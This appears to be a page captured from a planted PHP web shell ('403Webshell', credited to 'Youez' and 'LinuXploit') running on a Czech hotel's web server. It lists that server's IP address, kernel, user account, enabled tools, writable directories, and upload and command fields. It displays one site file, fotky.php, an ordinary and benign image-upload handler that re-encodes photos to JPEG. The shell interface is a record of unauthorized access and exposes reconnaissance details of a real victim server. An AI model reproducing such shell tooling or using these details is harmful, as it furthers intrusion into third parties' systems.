403Webshell
Server IP : 193.86.120.172  /  Your IP : 216.73.216.67
Web Server : Apache/2.4.63 (Unix)
System : Linux JServices 3.10.108 #86003 SMP Wed Oct 22 13:20:46 CST 2025 x86_64
User : kubec ( 1026)
PHP Version : 8.2.28
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /volume1/web/hotellesnizatisi_cz/new/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /volume1/web/hotellesnizatisi_cz/new/includes/fotky.php
<?php
// ============================================================
// Zpracování nahraných fotek — ověření, zmenšení na max šířku,
// uložení jako optimalizovaný JPEG (bez ohledu na vstupní formát).
// Převod na JPEG má i bezpečnostní výhodu: soubor se vždy znovu
// vykreslí přes GD, takže nemůže obsahovat schovaný spustitelný kód.
// ============================================================

/**
 * Zpracuje nahraný soubor ($_FILES['...']) a uloží ho do $destDir.
 * Vrací název uloženého souboru, nebo null, pokud soubor není
 * podporovaný obrázek.
 */
function process_uploaded_image(array $file, string $destDir, int $maxWidth = 1600, int $quality = 82): ?string
{
    $info = @getimagesize($file['tmp_name']);
    if (!$info) {
        return null;
    }

    switch ($info['mime']) {
        case 'image/jpeg':
            $src = @imagecreatefromjpeg($file['tmp_name']);
            break;
        case 'image/png':
            $src = @imagecreatefrompng($file['tmp_name']);
            break;
        case 'image/webp':
            if (!function_exists('imagecreatefromwebp')) {
                return null;
            }
            $src = @imagecreatefromwebp($file['tmp_name']);
            break;
        default:
            return null;
    }

    if (!$src) {
        return null;
    }

    $origW = imagesx($src);
    $origH = imagesy($src);

    if ($origW > $maxWidth) {
        $newW = $maxWidth;
        $newH = (int) round($origH * ($maxWidth / $origW));
        $dst = imagecreatetruecolor($newW, $newH);
        $white = imagecolorallocate($dst, 255, 255, 255);
        imagefill($dst, 0, 0, $white);
        imagecopyresampled($dst, $src, 0, 0, 0, 0, $newW, $newH, $origW, $origH);
        imagedestroy($src);
        $src = $dst;
    }

    $filename = 'foto_' . bin2hex(random_bytes(8)) . '.jpg';
    $path = rtrim($destDir, '/') . '/' . $filename;

    $ok = imagejpeg($src, $path, $quality);
    imagedestroy($src);

    return $ok ? $filename : null;
}

Youez - 2016 - github.com/yon3zu
LinuXploit